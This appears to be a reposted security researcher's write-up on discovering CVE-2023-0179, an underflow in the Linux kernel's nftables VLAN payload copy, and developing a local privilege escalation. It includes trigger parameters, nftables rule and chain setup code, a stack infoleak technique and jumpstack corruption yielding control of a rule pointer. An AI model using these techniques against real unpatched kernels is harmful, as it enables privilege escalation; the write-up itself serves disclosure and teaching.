64 bytes and a ROP chain – A journey through nftables

64 bytes and a ROP chain – A journey through nftables

Original text by di Davide Ornaghi

The purpose of this article is to dive into the process of vulnerability research in the Linux kernel through my experience that led to the finding of CVE-2023-0179 and a fully functional Local Privilege Escalation (LPE).
By the end of this post, the reader should be more comfortable interacting with the nftables component and approaching the new mitigations encountered while exploiting the kernel stack from the network context.

1. Context

As a fresh X user indefinitely scrolling through my feed, one day I noticed a tweet about a Netfilter Use-after-Free vulnerability. Not being at all familiar with Linux exploitation, I couldn’t understand much at first, but it reminded me of some concepts I used to study for my thesis, such as kalloc zones and mach_msg spraying on iOS, which got me curious enough to explore even more writeups.

A couple of CVEs later I started noticing an emerging (and perhaps worrying) pattern: Netfilter bugs had been significantly increasing in the last months.

During my initial reads I ran into an awesome article from David Bouman titled How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables describing the internals of nftables, a Netfilter component and newer version of iptables, in great depth. By the way, I highly suggest reading Sections 1 through 3 to become familiar with the terminology before continuing.

As the subsystem internals made more sense, I started appreciating Linux kernel exploitation more and more, and decided to give myself the challenge to look for a new CVE in the nftables system in a relatively short timeframe.

2. Key aspects of nftables

Touching on the most relevant concepts of nftables, it’s worth introducing only the key elements:

  • NFT tables define the traffic class to be processed (IP(v6), ARP, BRIDGE, NETDEV);
  • NFT chains define at what point in the network path to process traffic (before/after/while routing);
  • NFT rules: lists of expressions that decide whether to accept traffic or drop it.

In programming terms, rules can be seen as instructions and expressions are the single statements that compose them. Expressions can be of different types, and they’re collected inside the net/netfilter directory of the Linux tree, each file starting with the “nft_” prefix.
Each expression has a function table that groups several functions to be executed at a particular point in the workflow, the most important ones being .init, invoked when the rule is created, and .eval, called at runtime during rule evaluation.

Since rules and expressions can be chained together to reach a unique verdict, they have to store their state somewhere. NFT registers are temporary memory locations used to store such data.
For instance, nft_immediate stores a user-controlled immediate value into an arbitrary register, while nft_payload extracts data directly from the received socket buffer.
Registers can be referenced with a 4-byte granularity (NFT_REG32_00 through NFT_REG32_15) or with the legacy option of 16 bytes each (NFT_REG_1 through NFT_REG_4).

But what do tables, chains and rules actually look like from userland?

# nft list ruleset
table inet my_table {
  chain my_chain {
    type filter hook input priority filter; policy drop;
    tcp dport http accept
  }
}

This specific table monitors all IPv4 and IPv6 traffic. The only present chain is of the filter type, which must decide whether to keep packets or drop them, it’s installed at the input level, where traffic has already been routed to the current host and is looking for the next hop, and the default verdict is to drop the packet if the other rules haven’t concluded otherwise.
The rule above is translated into different expressions that carry out the following tasks:

  1. Save the transport header to a register;
  2. Make sure it’s a TCP header;
  3. Save the TCP destination port to a register;
  4. Emit the NF_ACCEPT verdict if the register contains the value 80 (HTTP port).

Since David’s article already contains all the architectural details, I’ll just move over to the relevant aspects.

2.1 Introducing Sets and Maps

One of the advantages of nftables over iptables is the possibility to match a certain field with multiple values. For instance, if we wanted to only accept traffic directed to the HTTP and HTTPS protocols, we could implement the following rule:

nft add rule ip4 filter input tcp dport {http, https} accept

In this case, HTTP and HTTPS internally belong to an “anonymous set” that carries the same lifetime as the rule bound to it. When a rule is deleted, any associated set is destroyed too.
In order to make a set persistent (aka “named set”), we can just give it a name, type and values:

nft add set filter AllowedProto { type inet_proto\; flags constant\;}
nft add element filter AllowedProto { https, https }

While this type of set is only useful to match against a list/range of values, nftables also provides maps, an evolution of sets behaving like the hash map data structure. One of their use cases, as mentioned in the wiki, is to pick a destination host based on the packet’s destination port:

nft add map nat porttoip  { type inet_service: ipv4_addr\; }
nft add element nat porttoip { 80 : 192.168.1.100, 8888 : 192.168.1.101 }

From a programmer’s point of view, registers are like local variables, only existing in the current chain, and sets/maps are global variables persisting over consecutive chain evaluations.

2.2 Programming with nftables

Finding a potential security issue in the Linux codebase is pointless if we can’t also define a procedure to trigger it and reproduce it quite reliably. That’s why, before digging into the code, I wanted to make sure I had all the necessary tools to programmatically interact with nftables just as if I were sending commands over the terminal.

We already know that we can use the netlink interface to send messages to the subsystem via an AF_NETLINK socket but, if we want to approach nftables at a higher level, the libnftnl project contains several examples showing how to interact with its components: we can thus send create, update and delete requests to all the previously mentioned elements, and libnftnl will take care of the implementation specifics.

For this particular project, I decided to start by examining the CVE-2022-1015 exploit source since it’s based on libnftnl and implements the most repetitive tasks such as building and sending batch requests to the netlink socket. This project also comes with functions to add expressions to rules, at least the most important ones, which makes building rules really handy.

3. Scraping the attack surface

To keep things simple, I decided that I would start by auditing the expression operations, which are invoked at different times in the workflow. Let’s take the nft_immediateexpression as an example:

static const struct nft_expr_ops nft_payload_ops = {
    .type       = &nft_payload_type,
    .size       = NFT_EXPR_SIZE(sizeof(struct nft_payload)),
    .eval       = nft_payload_eval,
    .init       = nft_payload_init,
    .dump       = nft_payload_dump,
    .reduce     = nft_payload_reduce,
    .offload    = nft_payload_offload,
};

Besides eval and init, which we’ve already touched on, there are a couple other candidates to keep in mind:

  • dump: reads the expression parameters and packs them into an skb. As a read-only operation, it represents an attractive attack surface for infoleaks rather than memory corruptions.
  • reduce: I couldn’t find any reference to this function call, which shied me away from it.
  • offload: adds support for nft_payload expression in case Flowtables are being used with hardware offload. This one definitely adds some complexity and deserves more attention in future research, although specific NIC hardware is required to reach the attack surface.

As my first research target, I ended up sticking with the same ops I started with, init and eval.

3.1 Previous vulnerabilities

We now know where to look for suspicious code, but what are we exactly looking for?
The netfilter bugs I was reading about definitely influenced the vulnerability classes in my scope:

CVE-2022-1015

/* net/netfilter/nf_tables_api.c */

static int nft_validate_register_load(enum nft_registers reg, unsigned int len)
{
    /* We can never read from the verdict register,
     * so bail out if the index is 0,1,2,3 */
    if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE)
        return -EINVAL;
    /* Invalid operation, bail out */
    if (len == 0)
        return -EINVAL;
    /* Integer overflow allows bypassing the check */
    if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) 
        return -ERANGE;

    return 0;
}  

int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
    ...
    err = nft_validate_register_load(reg, len);
    if (err < 0)
        return err;
    /* the 8 LSB from reg are written to sreg, which can be used as an index 
     * for read and write operations in some expressions */
    *sreg = reg;
    return 0;
}  

I also had a look at different subsystems, such as TIPC.

CVE-2022-0435

/* net/tipc/monitor.c */

void tipc_mon_rcv(struct net *net, void *data, u16 dlen, u32 addr,
    struct tipc_mon_state *state, int bearer_id)
{
    ...
    struct tipc_mon_domain *arrv_dom = data;
    struct tipc_mon_domain dom_bef;                                   
    ...

    /* doesn't check for maximum new_member_cnt */                      
    if (dlen < dom_rec_len(arrv_dom, 0))                              
        return;
    if (dlen != dom_rec_len(arrv_dom, new_member_cnt))                
        return;
    if (dlen < new_dlen || arrv_dlen != new_dlen)
        return; 
    ...
    /* Drop duplicate unless we are waiting for a probe response */
    if (!more(new_gen, state->peer_gen) && !probing)                  
        return;
    ...

    /* Cache current domain record for later use */
    dom_bef.member_cnt = 0;
    dom = peer->domain;
    /* memcpy with out of bounds domain record */
    if (dom)                                                         
        memcpy(&dom_bef, dom, dom->len);           

A common pattern can be derived from these samples: if we can pass the sanity checks on a certain boundary, either via integer overflow or incorrect logic, then we can reach a write primitive which will write data out of bounds. In other words, typical buffer overflows can still be interesting!

Here is the structure of the ideal vulnerable code chunk: one or more if statements followed by a write instruction such as memcpymemset, or simply *x = y inside all the eval and init operations of the net/netfilter/nft_*.c files.

3.2 Spotting a new bug

At this point, I downloaded the latest stable Linux release from The Linux Kernel Archives, which was 6.1.6 at the time, opened it up in my IDE (sadly not vim) and started browsing around.

I initially tried with regular expressions but I soon found it too difficult to exclude the unwanted sources and to match a write primitive with its boundary checks, plus the results were often overwhelming. Thus I moved on to the good old manual auditing strategy.
For context, this is how quickly a regex can become too complex:
if\s*\(\s*(\w+\s*[+\-*/]\s*\w+)\s*(==|!=|>|<|>=|<=)\s*(\w+\s*[+\-*/]\s*\w+)\s*\)\s*\{

Turns out that semantic analysis engines such as CodeQL and Weggli would have done a much better job, I will show how they can be used to search for similar bugs in a later article.

While exploring the nft_payload_eval function, I spotted an interesting occurrence:

/* net/netfilter/nft_payload.c */

switch (priv->base) {
    case NFT_PAYLOAD_LL_HEADER:
        if (!skb_mac_header_was_set(skb))
            goto err;
        if (skb_vlan_tag_present(skb)) {
            if (!nft_payload_copy_vlan(dest, skb,
                           priv->offset, priv->len))
                goto err;
            return;
        }

The nft_payload_copy_vlan function is called with two user-controlled parameters: priv->offset and priv->len. Remember that nft_payload’s purpose is to copy data from a particular layer header (IP, TCP, UDP, 802.11…) to an arbitrary register, and the user gets to specify the offset inside the header to copy data from, as well as the size of the copied chunk.

The following code snippet illustrates how to copy the destination address from the IP header to register 0 and compare it against a known value:

int create_filter_chain_rule(struct mnl_socket* nl, char* table_name, char* chain_name, uint16_t family, uint64_t* handle, int* seq)
{
    struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
    in_addr_t d_addr;
    d_addr = inet_addr("192.168.123.123");
    rule_add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, offsetof(struct iphdr, daddr), sizeof d_addr, NFT_REG32_00);
    rule_add_cmp(r, NFT_CMP_EQ, NFT_REG32_00, &d_addr, sizeof d_addr);
    rule_add_immediate_verdict(r, NFT_GOTO, "next_chain");
    return send_batch_request(
        nl,
        NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8),
        NLM_F_CREATE, family, (void**)&r, seq,
        NULL
    );
}

All definitions for the rule_* functions can be found in my Github project.

When I looked at the code under nft_payload_copy_vlan, a frequent C programming pattern caught my eye:

/* net/netfilter/nft_payload.c */

if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
	ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;

memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen);

These lines determine the size of a memcpy call based on a fairly extended arithmetic operation. I later found out their purpose was to align the skb pointer to the maximum allowed offset, which is the end of the second VLAN tag (at most 2 tags are allowed). VLAN encapsulation is a common technique used by providers to separate customers inside the provider’s network and to transparently route their traffic.

At first I thought I could cause an overflow in the conditional statement, but then I realized that the offset + len expression was being promoted to a uint32_t from uint8_t, making it impossible to reach MAX_INT with 8-bit values:

<+396>:   mov   r11d,DWORD PTR [rbp-0x64]
<+400>:   mov   r10d,DWORD PTR [rbp-0x6c]
gef➤ x/wx $rbp-0x64
0xffffc90000003a0c:   0x00000004
gef➤ x/wx $rbp-0x6c
0xffffc90000003a04:   0x00000013

The compiler treats the two operands as DWORD PTR, hence 32 bits.

After this first disappointment, I started wandering elsewhere, until I came back to the same spot to double check that piece of code which kept looking suspicious.

On the next line, when assigning the ethlen variable, I noticed that the VLAN header length (4 bytes) vlan_hlen was being subtracted from ethlen instead of being added to restore the alignment with the second VLAN tag.
By trying all possible offset and len pairs, I could confirm that some of them were actually causing ethlen to underflow, wrapping it back to UINT8_MAX.
With a vulnerability at hand, I documented my findings and promptly sent them to security@kernel.org and the involved distros.
I also accidentally alerted some public mailing lists such as syzbot’s, which caused a small dispute to decide whether the issue should have been made public immediately via oss-security or not. In the end we managed to release the official patch for the stable tree in a day or two and proceeded with the disclosure process.

How an Out-Of-Bounds Copy Vulnerability works:

OOB Write: reading from an accessible memory area and subsequently writing to areas outside the destination buffer

OOB Read: reading from a memory area outside the source buffer and writing to readable areas

The behavior of CVE-2023-0179:

Expected scenario: The size of the copy operation “len” is correctly decreased to exclude restricted fields, and saved in “ethlen”

Vulnerable scenario: the value of “ethlen” is decreased below zero, and wraps to the maximum value (255), allowing even inaccessible fields to be copied

4. Reaching the code path

Even the most powerful vulnerability is useless unless it can be triggered, even in a probabilistic manner; here, we’re inside the evaluation function for the nft_payload expression, which led me to believe that if the code branch was there, then it must be reachable in some way (of course this isn’t always the case).

I’ve already shown how to setup the vulnerable rule, we just have to choose an overflowing offset/length pair like so:

uint8_t offset = 19, len = 4;
struct nftnl_rule* r = build_rule(table_name, chain_name, family, handle);
rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, offset, len, NFT_REG32_00);

Once the rule is in place, we have to force its evaluation by generating some traffic, unfortunately normal traffic won’t pass through the nft_payload_copy_vlan function, only VLAN-tagged packets will.

4.1 Debugging nftables

From here on, gdb’s assistance proved to be crucial to trace the network paths for input packets.
I chose to spin up a QEMU instance with debugging support, since it’s really easy to feed it your own kernel image and rootfs, and then attach gdb from the host.

When booting from QEMU, it will be more practical to have the kernel modules you need automatically loaded:

# not all configs are required for this bug
CONFIG_VLAN_8021Q=y
CONFIG_VETH=y
CONFIG_BRIDGE=y
CONFIG_BRIDGE_NETFILTER=y
CONFIG_NF_TABLES=y
CONFIG_NF_TABLES_INET=y
CONFIG_NF_TABLES_NETDEV=y
CONFIG_NF_TABLES_IPV4=y
CONFIG_NF_TABLES_ARP=y
CONFIG_NF_TABLES_BRIDGE=y
CONFIG_USER_NS=y
CONFIG_CMDLINE_BOOL=y
CONFIG_CMDLINE="net.ifnames=0"

As for the initial root file system, one with the essential networking utilities can be built for x86_64 (openssh, bridge-utils, nft) by following this guide. Alternatively, syzkaller provides the create-image.sh script which automates the process.
Once everything is ready, QEMU can be run with custom options, for instance:

qemu-system-x86_64 -kernel linuxk/linux-6.1.6/vmlinux -drive format=raw,file=linuxk/buildroot/output/images/rootfs.ext4,if=virtio -nographic -append "root=/dev/vda console=ttyS0" -net nic,model=e1000 -net user,hostfwd=tcp::10022-:22,hostfwd=udp::5556-:1337

This setup allows communicating with the emulated OS via SSH on ports 10022:22 and via UDP on ports 5556:1337. Notice how the host and the emulated NIC are connected indirectly via a virtual hub and aren’t placed on the same segment.
After booting the kernel up, the remote debugger is accessible on local port 1234, hence we can set the required breakpoints:

turtlearm@turtlelinux:~/linuxk/old/linux-6.1.6$ gdb vmlinux
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
...                 
88 commands loaded and 5 functions added for GDB 12.1 in 0.01ms using Python engine 3.10
Reading symbols from vmlinux...               
gef➤  target remote :1234
Remote debugging using :1234
(remote) gef➤  info b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0xffffffff81c47d50 in nft_payload_eval at net/netfilter/nft_payload.c:133
2       breakpoint     keep y   0xffffffff81c47ebf in nft_payload_copy_vlan at net/netfilter/nft_payload.c:64

Now, hitting breakpoint 2 will confirm that we successfully entered the vulnerable path.

4.2 Main issues

How can I send a packet which definitely enters the correct path? Answering this question was more troublesome than expected.

UDP is definitely easier to handle than TCP, a UDP socket (SOCK_DGRAM) wouldn’t let me add a VLAN header (layer 2), but using a raw socket was out of the question as it would bypass the network stack including the NFT hooks.

Instead of crafting my own packets, I just tried configuring a VLAN interface on the ethernet device eth0:

ip link add link eth0 name vlan.10 type vlan id 10
ip addr add 192.168.10.137/24 dev vlan.10
ip link set vlan.10 up

With these commands I could bind a UDP socket to the vlan.10 interface and hope that I would detect VLAN tagged packets leaving through eth0. Of course, that wasn’t the case because the new interface wasn’t holding the necessary routes, and only ARP requests were being produced whatsoever.

Another attempt involved replicating the physical use case of encapsulated VLANs (Q-in-Q) but in my local network to see what I would receive on the destination host.
Surprisingly, after setting up the same VLAN and subnet on both machines, I managed to emit VLAN-tagged packets from the source host but, no matter how many tags I embedded, they were all being stripped out from the datagram when reaching the destination interface.

This behavior is due to Linux acting as a router. Since a VLAN ends when a router is met, being a level 2 protocol, it would be useless for Netfilter to process those tags.

Going back to the kernel source, I was able to spot the exact point where the tag was being stripped out during a process called VLAN offloading, where the NIC driver removes the tag and forwards traffic to the networking stack.

The __netif_receive_skb_core function takes the previously crafted skb and delivers it to the upper protocol layers by calling deliver_skb.
802.1q packets are subject to VLAN offloading here:

/* net/core/dev.c */

static int __netif_receive_skb_core(struct sk_buff **pskb, bool pfmemalloc,
				    struct packet_type **ppt_prev)
{
...
if (eth_type_vlan(skb->protocol)) {
	skb = skb_vlan_untag(skb);
	if (unlikely(!skb))
		goto out;
}
...
}

skb_vlan_untag also sets the vlan_tcivlan_proto, and vlan_present fields of the skb so that the network stack can later fetch the VLAN information if needed.
The function then calls all tap handlers like the protocol sniffers that are listed inside the ptype_all list and finally enters another branch that deals with VLAN packets:

/* net/core/dev.c */

if (skb_vlan_tag_present(skb)) {
	if (pt_prev) {
		ret = deliver_skb(skb, pt_prev, orig_dev);
		pt_prev = NULL;
	}
	if (vlan_do_receive(&skb)) {
		goto another_round;
	}
	else if (unlikely(!skb))
		goto out;
}

The main actor here is vlan_do_receive that actually delivers the 802.1q packet to the appropriate VLAN port. If it finds the appropriate interface, the vlan_present field is reset and another round of __netif_receive_skb_core is performed, this time as an untagged packet with the new device interface.

However, these 3 lines got me curious because they allowed skipping the vlan_presentreset part and going straight to the IP receive handlers with the 802.1q packet, which is what I needed to reach the nft hooks:

/* net/8021q/vlan_core.c */

vlan_dev = vlan_find_dev(skb->dev, vlan_proto, vlan_id);
if (!vlan_dev)  // if it cannot find vlan dev, go back to netif_receive_skb_core and don't untag
	return false;
...
__vlan_hwaccel_clear_tag(skb); // unset vlan_present flag, making skb_vlan_tag_present false

Remember that the vulnerable code path requires vlan_present to be set (from skb_vlan_tag_present(skb)), so if I sent a packet from a VLAN-aware interface to a VLAN-unaware interface, vlan_do_receive would return false without unsetting the present flag, and that would be perfect in theory.

One more problem arose at this point: the nft_payload_copy_vlan function requires the skb protocol to be either ETH_P_8021AD or ETH_P_8021Q, otherwise vlan_hlen won’t be assigned and the code path won’t be taken:

/* net/netfilter/nft_payload.c */

static bool nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
{
...
if ((skb->protocol == htons(ETH_P_8021AD) ||
	 skb->protocol == htons(ETH_P_8021Q)) &&
	offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN)
		vlan_hlen += VLAN_HLEN;

Unfortunately, skb_vlan_untag will also reset the inner protocol, making this branch impossible to enter, in the end this path turned out to be rabbit hole.

While thinking about a different approach I remembered that, since VLAN is a layer 2 protocol, I should have probably turned Ubuntu into a bridge and saved the NFT rules inside the NFPROTO_BRIDGE hooks.
To achieve that, a way to merge the features of a bridge and a VLAN device was needed, enter VLAN filtering!
This feature was introduced in Linux kernel 3.8 and allows using different subnets with multiple guests on a virtualization server (KVM/QEMU) without manually creating VLAN interfaces but only using one bridge.
After creating the bridge, I had to enter promiscuous mode to always reach the NF_BR_LOCAL_IN bridge hook:

/* net/bridge/br_input.c */

static int br_pass_frame_up(struct sk_buff *skb) {
...
	/* Bridge is just like any other port.  Make sure the
	 * packet is allowed except in promisc mode when someone
	 * may be running packet capture.
	 */
	if (!(brdev->flags & IFF_PROMISC) &&
	    !br_allowed_egress(vg, skb)) {
		kfree_skb(skb);
		return NET_RX_DROP;
	}
...
	return NF_HOOK(NFPROTO_BRIDGE, NF_BR_LOCAL_IN,
		       dev_net(indev), NULL, skb, indev, NULL,
		       br_netif_receive_skb);

and finally enable VLAN filtering to enter the br_handle_vlan function (/net/bridge/br_vlan.c) and avoid any __vlan_hwaccel_clear_tag call inside the bridge module.

sudo ip link set br0 type bridge vlan_filtering 1
sudo ip link set br0 promisc on

While this configuration seemed to work at first, it became unstable after a very short time, since when vlan_filtering kicked in I stopped receiving traffic.

All previous attempts weren’t nearly as reliable as I needed them to be in order to proceed to the exploitation stage. Nevertheless, I learned a lot about the networking stack and the Netfilter implementation.

4.3 The Netfilter Holy Grail

Netfilter hooks

While I could’ve continued looking for ways to stabilize VLAN filtering, I opted for a handier way to trigger the bug.

This chart was taken from the nftables wiki and represents all possible packet flows for each family. The netdev family is of particular interest since its hooks are located at the very beginning, in the Ingress hook.
According to this article the netdev family is attached to a single network interface and sees all network traffic (L2+L3+ARP).
Going back to __netif_receive_skb_core I noticed how the ingress handler was called before vlan_do_receive (which removes the vlan_present flag), meaning that if I could register a NFT hook there, it would have full visibility over the VLAN information:

/* net/core/dev.c */

static int __netif_receive_skb_core(struct sk_buff **pskb, bool pfmemalloc, struct packet_type **ppt_prev) {
...
#ifdef CONFIG_NET_INGRESS
...
    if (nf_ingress(skb, &pt_prev, &ret, orig_dev) < 0) // insert hook here
        goto out;
#endif
...
    if (skb_vlan_tag_present(skb)) {
        if (pt_prev) {
            ret = deliver_skb(skb, pt_prev, orig_dev);
            pt_prev = NULL;
        }
        if (vlan_do_receive(&skb)) // delete vlan info
            goto another_round;
        else if (unlikely(!skb))
            goto out;
    }
...

The convenient part is that you don’t even have to receive the actual packets to trigger such hooks because in normal network conditions you will always(?) get the respective ARP requests on broadcast, also carrying the same VLAN tag!

Here’s how to create a base chain belonging to the netdev family:

struct nftnl_chain* c;
c = nftnl_chain_alloc();
nftnl_chain_set_str(c, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_str(c, NFTNL_CHAIN_TABLE, table_name);
if (dev_name)
    nftnl_chain_set_str(c, NFTNL_CHAIN_DEV, dev_name); // set device name
if (base_param) { // set ingress hook number and max priority
    nftnl_chain_set_u32(c, NFTNL_CHAIN_HOOKNUM, NF_NETDEV_INGRESS);
    nftnl_chain_set_u32(c, NFTNL_CHAIN_PRIO, INT_MIN);
}

And that’s it, you can now send random traffic from a VLAN-aware interface to the chosen network device and the ARP requests will trigger the vulnerable code path.

64 bytes and a ROP chain – A journey through nftables – Part 2

2.1. Getting an infoleak

Can I turn this bug into something useful? At this point I somewhat had an idea that would allow me to leak some data, although I wasn’t sure what kind of data would have come out of the stack.
The idea was to overflow into the first NFT register (NFT_REG32_00) so that all the remaining ones would contain the mysterious data. It also wasn’t clear to me how to extract this leak in the first place, when I vaguely remembered about the existence of the nft_dynset expression from CVE-2022-1015, which inserts key:data pairs into a hashmap-like data structure (which is actually an nft_set) that can be later fetched from userland. Since we can add registers to the dynset, we can reference them like so:
key[i] = NFT_REG32_i, value[i] = NFT_REG32_(i+8)
This solution should allow avoiding duplicate keys, but we should still check that all key registers contain different values, otherwise we will lose their values.

2.1.1 Returning the registers

Having a programmatic way to read the content of a set would be best in this case, Randorisec accomplished the same task in their CVE-2022-1972 infoleak exploit, where they send a netlink message of the NFT_MSG_GETSET type and parse the received message from an iovec.
Although this technique seems to be the most straightforward one, I went for an easier one which required some unnecessary bash scripting.
Therefore, I decided to employ the nft utility (from the nftables package) which carries out all the parsing for us.

If I wanted to improve this part, I would definitely parse the netlink response without the external dependency of the nft binary, which makes it less elegant and much slower.

After overflowing, we can run the following command to retrieve all elements of the specified map belonging to a netdev table:

$ nft list map netdev {table_name} {set_name}

table netdev mytable {
	map myset12 {
		type 0x0 [invalid type] : 0x0 [invalid type]
		size 65535
		elements = { 0x0 [invalid type] : 0x0 [invalid type],
			     0x5810000 [invalid type] : 0xc9ffff30 [invalid type],
			     0xbccb410 [invalid type] : 0x88ffff10 [invalid type],
			     0x3a000000 [invalid type] : 0xcfc281ff [invalid type],
			     0x596c405f [invalid type] : 0x7c630680 [invalid type],
			     0x78630680 [invalid type] : 0x3d000000 [invalid type],
			     0x88ffff08 [invalid type] : 0xc9ffffe0 [invalid type],
			     0x88ffffe0 [invalid type] : 0xc9ffffa1 [invalid type],
			     0xc9ffffa1 [invalid type] : 0xcfc281ff [invalid type] }
	}
}

2.1.2 Understanding the registers

Seeing all those ffff was already a good sign, but let’s review the different kernel addresses we could run into (this might change due to ASLR and other factors):

  • .TEXT (code) section addresses: 0xffffffff8[1-3]……
  • Stack addresses: 0xffffc9……….
  • Heap addresses: 0xffff8880……..

We can ask gdb for a second opinion to see if we actually spotted any of them:

gef➤ p &regs 
$12 = (struct nft_regs *) 0xffffc90000003ae0
gef➤ x/12gx 0xffffc90000003ad3
0xffffc90000003ad3:    0x0ce92fffffc90000    0xffffffffffffff81
Oxffffc90000003ae3:    0x071d0000000000ff    0x008105ffff888004
0xffffc90000003af3:    0xb4cc0b5f406c5900    0xffff888006637810    <==
0xffffc90000003b03:    0xffff888006637808    0xffffc90000003ae0    <==
0xffffc90000003b13:    0xffff888006637c30    0xffffc90000003d10
0xffffc90000003b23:    0xffffc90000003ce0    0xffffffff81c2cfa1    <==

ooks like a stack canary is present at address 0xffffc90000003af3, which could be useful later when overwriting one of the saved instruction pointers on the stack but, moreover, we can see an instruction address (0xffffffff81c2cfa1) and the regs variable reference itself (0xffffc90000003ae0)!
Gdb also tells us that the instruction belongs to the nft_do_chain routine:

gef➤ x/i 0xffffffff81c2cfa1
0xffffffff81c2cfa1 <nft_do_chain+897>:    jmp    0xffffffff81c2cda7 <nft_do_chain+391>

Based on that information I could use the address in green to calculate the KASLR slide by pulling it out of a KASLR-enabled system and subtracting them.

Since it would be too inconvenient to reassemble these addresses manually, we could select the NFT registers containing the interesting data and add them to the set, leading to the following result:

table netdev {table_name} {
	map {set_name} {
		type 0x0 [invalid type] : 0x0 [invalid type]
		size 65535
		elements = { 0x88ffffe0 [invalid type] : 0x3a000000 [invalid type],     <== (1)
			           0xc9ffffa1 [invalid type] : 0xcfc281ff [invalid type] }    <== (2)   
	}
}

From the output we could clearly discern the shuffled regs (1) and nft_do_chain (2) addresses.
To explain how this infoleak works, I had to map out the stack layout at the time of the overflow, as it stays the same upon different nft_do_chain runs.

The regs struct is initialized with zeros at the beginning of nft_do_chain, and is immediately followed by the nft_jumpstack struct, containing the list of rules to be evaluated on the next nft_do_chain call, in a stack-like format (LIFO).

The vulnerable memcpy source is evaluated from the vlanh pointer referring to the struct vlan_ethhdr veth local variable, which resides in the nft_payload_eval stack frame, since nft_payload_copy_vlan is inlined by the compiler.
The copy operation therefore looks something like the following:

State of the stack post-overflow

he red zones represent memory areas that have been corrupted with mostly unpredictable data, whereas the yellow ones are also partially controlled when pointing dst_u8 to the first register. The NFT registers are thus overwritten with data belonging to the nft_payload_eval stack frame, including the respective stack cookie and return address.

2.2 Elevating the tables

With a pretty solid infoleak at hand, it was time to move on to the memory corruption part.
While I was writing the initial vuln report, I tried switching the exploit register to the highest possible one (NFT_REG32_15) to see what would happen.

Surprisingly, I couldn’t reach the return address, indicating that a classic stack smashing scenario wasn’t an option. After a closer look, I noticed a substantially large structure, nft_jumpstack, which is 16*24 bytes long, absorbing the whole overflow.

2.2.1 Jumping between the stacks

The jumpstack structure I introduced in the previous section keeps track of the rules that have yet to be evaluated in the previous chains that have issued an NFT_JUMP verdict.

  • When the rule ruleA_1 in chainA desires to transfer the execution to another chain, chainB, it issues the NFT_JUMP verdict.
  • The next rule in chainAruleA_2, is stored in the jumpstack at the stackptr index, which keeps track of the depth of the call stack.
  • This is intended to restore the execution of ruleA_2 as soon as chainB has returned via the NFT_CONTINUE or NFT_RETURN verdicts.

This aspect of the nftables state machine isn’t that far from function stack frames, where the return address is pushed by the caller and then popped by the callee to resume execution from where it stopped.

While we can’t reach the return address, we can still hijack the program’s control flow by corrupting the next rule to be evaluated!

In order to corrupt as much regs-adjacent data as possible, the destination register should be changed to the last one, so that it’s clear how deep into the jumpstack the overflow goes.
After filling all registers with placeholder values and triggering the overflow, this was the result:

gef➤  p jumpstack
$334 = {{
    chain = 0x1017ba2583d7778c,         <== vlan_ethhdr data
    rule = 0x8ffff888004f11a,
    last_rule = 0x50ffff888004f118
  }, {
    chain = 0x40ffffc900000e09,
    rule = 0x60ffff888004f11a,
    last_rule = 0x50ffffc900000e0b
  }, {
    chain = 0xc2ffffc900000e0b,
    rule = 0x1ffffffff81d6cd,
    last_rule = 0xffffc9000f4000
  }, {
    chain = 0x50ffff88807dd21e,
    rule = 0x86ffff8880050e3e,
    last_rule = 0x8000000001000002      <== random data from the stack
  }, {
    chain = 0x40ffff88800478fb,
    rule = 0xffff888004f11a,
    last_rule = 0x8017ba2583d7778c
  }, {
    chain = 0xffff88807dd327,
    rule = 0xa9ffff888004764e,
    last_rule = 0x50000000ef7ad4a
  }, {
    chain = 0x0 ,
    rule = 0xff00000000000000,
    last_rule = 0x8000000000ffffff
  }, {
    chain = 0x41ffff88800478fb,
    rule = 0x4242424242424242,         <== regs are copied here: full control over rule and last_rule
    last_rule = 0x4343434343434343
  }, {
    chain = 0x4141414141414141,
    rule = 0x4141414141414141,
    last_rule = 0x4141414141414141
  }, {
    chain = 0x4141414141414141,
    rule = 0x4141414141414141,
    last_rule = 0x8c00008112414141

The copy operation has a big enough size to include the whole regs buffer in the source, this means that we can partially control the jumpstack!
The gef output shows how only the end of our 251-byte overflow is controllable and, if aligned correctly, it can overwrite the 8th and 9th rule and last_rule pointers.
To confirm that we are breaking something, we could just jump to 9 consecutive chains, and when evaluating the last one trigger the overflow and hopefully jump to jumpstack[8].rule:
As expected, we get a protection fault:

 1849.727034] general protection fault, probably for non-canonical address 0x4242424242424242: 0000 [#1] PREEMPT SMP NOPTI
[ 1849.727034] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 6.2.0-rc1 #5
[ 1849.727034] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[ 1849.727034] RIP: 0010:nft_do_chain+0xc1/0x740
[ 1849.727034] Code: 40 08 48 8b 38 4c 8d 60 08 4c 01 e7 48 89 bd c8 fd ff ff c7 85 00 fe ff ff ff ff ff ff 4c 3b a5 c8 fd ff ff 0f 83 4
[ 1849.727034] RSP: 0018:ffffc900000e08f0 EFLAGS: 00000297
[ 1849.727034] RAX: 4343434343434343 RBX: 0000000000000007 RCX: 0000000000000000
[ 1849.727034] RDX: 00000000ffffffff RSI: ffff888005153a38 RDI: ffffc900000e0960
[ 1849.727034] RBP: ffffc900000e0b50 R08: ffffc900000e0950 R09: 0000000000000009
[ 1849.727034] R10: 0000000000000017 R11: 0000000000000009 R12: 4242424242424242
[ 1849.727034] R13: ffffc900000e0950 R14: ffff888005153a40 R15: ffffc900000e0b60
[ 1849.727034] FS: 0000000000000000(0000) GS:ffff88807dd00000(0000) knlGS:0000000000000000
